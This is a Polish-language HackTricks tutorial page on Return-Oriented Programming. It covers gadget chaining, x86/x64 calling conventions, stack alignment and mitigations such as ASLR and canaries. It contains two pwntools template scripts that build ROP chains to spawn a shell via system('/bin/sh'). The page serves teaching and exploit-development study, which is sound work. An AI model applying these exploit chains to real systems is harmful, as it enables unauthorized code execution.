hacktricks/binary-exploitation/rop-return-oriented-programing
2024-04-07 02:51:26 +00:00
..
ret2esp-ret2reg Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 00:09:03 +00:00
ret2lib Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:51:26 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:51:26 +00:00
ret2csu.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:51:26 +00:00
ret2dlresolve.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:51:26 +00:00
ret2esp-ret2reg.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:51:26 +00:00
ret2vdso.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:51:26 +00:00
rop-syscall-execv.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:51:26 +00:00
srop-sigreturn-oriented-programming.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 02:51:26 +00:00

ROP - Return Oriented Programing

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Return-Oriented Programming (ROP) to zaawansowana technika eksploatacji używana do obejścia zabezpieczeń takich jak No-Execute (NX) lub Data Execution Prevention (DEP). Zamiast wstrzykiwać i wykonywać shellcode, atakujący wykorzystuje fragmenty kodu już obecnego w binarnym pliku lub w załadowanych bibliotekach, znanych jako "gadżety". Każdy gadżet zazwyczaj kończy się instrukcją ret i wykonuje małą operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadżety ze sobą, atakujący może skonstruować ładunek w celu wykonania dowolnych operacji, skutecznie omijając zabezpieczenia NX/DEP.

Jak działa ROP

  1. Przechwycenie przepływu sterowania: Najpierw atakujący musi przejąć kontrolę nad przepływem programu, zazwyczaj wykorzystując przepełnienie bufora do nadpisania zapisanego adresu powrotu na stosie.
  2. Łańcuchowanie gadżetów: Atakujący następnie starannie wybiera i łączy gadżety, aby wykonać pożądane akcje. Może to obejmować ustawienie argumentów dla wywołania funkcji, wywołanie funkcji (np. system("/bin/sh")) i obsługę koniecznego sprzątania lub dodatkowych operacji.
  3. Wykonanie ładunku: Gdy podatna funkcja zwraca wartość, zamiast wracać do prawidłowej lokalizacji, zaczyna wykonywać łańcuch gadżetów.

Narzędzia

Zazwyczaj gadżety można znaleźć za pomocą ROPgadget, ropper lub bezpośrednio z pwntools (ROP).

Łańcuch ROP w przykładzie x86

Konwencje wywoływania x86 (32-bitowe)

  • cdecl: Wywołujący czyści stos. Argumenty funkcji są przekazywane na stosie w odwrotnej kolejności (od prawej do lewej). Argumenty są przekazywane na stosie od prawej do lewej.
  • stdcall: Podobnie jak cdecl, ale wywoływany jest odpowiedzialny za czyszczenie stosu.

Znajdowanie gadżetów

Najpierw załóżmy, że zidentyfikowaliśmy niezbędne gadżety w binarnym pliku lub jego załadowanych bibliotekach. Interesują nas gadżety:

  • pop eax; ret: Ten gadżet ściąga wartość ze szczytu stosu do rejestru EAX, a następnie zwraca, umożliwiając nam kontrolę nad EAX.
  • pop ebx; ret: Podobnie jak powyższe, ale dla rejestru EBX, umożliwiając kontrolę nad EBX.
  • mov [ebx], eax; ret: Przenosi wartość z EAX do lokalizacji pamięci wskazywanej przez EBX, a następnie zwraca. Jest to często nazywane gadżetem write-what-where.
  • Dodatkowo mamy dostępny adres funkcji system().

Łańcuch ROP

Korzystając z pwntools, przygotowujemy stos do wykonania łańcucha ROP w następujący sposób, mając na celu wykonanie system('/bin/sh'), zauważ, jak łańcuch zaczyna się od:

  1. Instrukcji ret w celu wyrównania (opcjonalnie)
  2. Adres funkcji system (przy założeniu wyłączonego ASLR i znanego libc, więcej informacji w Ret2lib)
  3. Miejsce na adres powrotu z system()
  4. Adres łańcucha "/bin/sh" (parametr dla funkcji systemowej)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Łańcuch ROP w przykładzie x64

Konwencje wywoływania w architekturze x64 (64-bitowej)

  • Wykorzystuje konwencję wywoływania System V AMD64 ABI w systemach przypominających Unix, gdzie pierwsze sześć argumentów całkowitoliczbowych lub wskaźników jest przekazywanych w rejestrach RDI, RSI, RDX, RCX, R8 i R9. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w rejestrze RAX.
  • Konwencja wywoływania w systemach Windows x64 wykorzystuje rejestry RCX, RDX, R8 i R9 dla pierwszych czterech argumentów całkowitoliczbowych lub wskaźników, a dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w rejestrze RAX.
  • Rejestry: 64-bitowe rejestry obejmują RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP oraz R8 do R15.

Znajdowanie Gadgetów

W naszym przypadku skupimy się na gadżetach, które umożliwią nam ustawienie rejestru RDI (aby przekazać ciąg "/bin/sh" jako argument do funkcji system()) i następnie wywołanie funkcji system(). Załóżmy, że zidentyfikowaliśmy następujące gadżety:

  • pop rdi; ret: Usuwa wartość ze stosu do rejestru RDI i następnie zwraca. Istotne do ustawienia argumentu dla system().
  • ret: Proste zakończenie, przydatne do wyrównania stosu w niektórych scenariuszach.

I znamy adres funkcji system().

Łańcuch ROP

Poniżej znajduje się przykład wykorzystujący pwntools do skonfigurowania i wykonania łańcucha ROP mającego na celu wykonanie system('/bin/sh') na architekturze x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

W tym przykładzie:

  • Wykorzystujemy gadżet pop rdi; ret do ustawienia RDI na adres "/bin/sh".
  • Bezpośrednio skaczemy do system() po ustawieniu RDI, z adresem system() w łańcuchu.
  • ret_gadget jest używany do wyrównania, jeśli środowisko docelowe tego wymaga, co jest bardziej powszechne w x64 w celu zapewnienia odpowiedniego wyrównania stosu przed wywołaniem funkcji.

Wyrównanie stosu

ABI x86-64 zapewnia, że stos jest wyrównany do 16 bajtów podczas wykonywania instrukcji call. LIBC, w celu zoptymalizowania wydajności, używa instrukcji SSE (takich jak movaps), które wymagają tego wyrównania. Jeśli stos nie jest odpowiednio wyrównany (czyli RSP nie jest wielokrotnością 16), wywołania funkcji takich jak system zawiodą w łańcuchu ROP. Aby to naprawić, po prostu dodaj gadżet ret przed wywołaniem system w swoim łańcuchu ROP.

Główne różnice między x86 a x64

{% hint style="success" %} Ponieważ x64 używa rejestrów dla kilku pierwszych argumentów, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i łączenie odpowiednich gadżetów może być bardziej skomplikowane ze względu na zwiększoną liczbę rejestrów i większą przestrzeń adresową. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze x64 stanowią zarówno szanse, jak i wyzwania dla rozwoju exploitów, zwłaszcza w kontekście Return-Oriented Programming (ROP). {% endhint %}

Zabezpieczenia przed ROP

  • ASLR & PIE: Te zabezpieczenia sprawiają, że korzystanie z ROP jest trudniejsze, ponieważ adresy gadżetów zmieniają się między wykonaniami.
  • Stack Canaries: W przypadku przepełnienia bufora, konieczne jest ominięcie stosowanego canary, aby nadpisać wskaźniki powrotu i wykorzystać łańcuch ROP.
  • Brak Gadżetów: Jeśli nie ma wystarczającej liczby gadżetów, nie będzie możliwe wygenerowanie łańcucha ROP.

Techniki oparte na ROP

Zauważ, że ROP to tylko technika służąca do wykonania arbitralnego kodu. Na podstawie ROP opracowano wiele technik Ret2XXX:

  • Ret2lib: Użyj ROP, aby wywołać arbitralne funkcje z załadowanej biblioteki z arbitralnymi parametrami (zwykle coś w rodzaju system('/bin/sh').

{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}

  • Ret2Syscall: Użyj ROP, aby przygotować wywołanie syscall, np. execve, i spraw, aby wykonywał arbitralne polecenia.

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

  • EBP2Ret & EBP Chaining: Pierwszy wykorzysta EBP zamiast EIP do kontrolowania przepływu, a drugi jest podobny do Ret2lib, ale w tym przypadku przepływ jest kontrolowany głównie za pomocą adresów EBP (choć konieczne jest również kontrolowanie EIP).

{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}

Inne Przykłady i Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: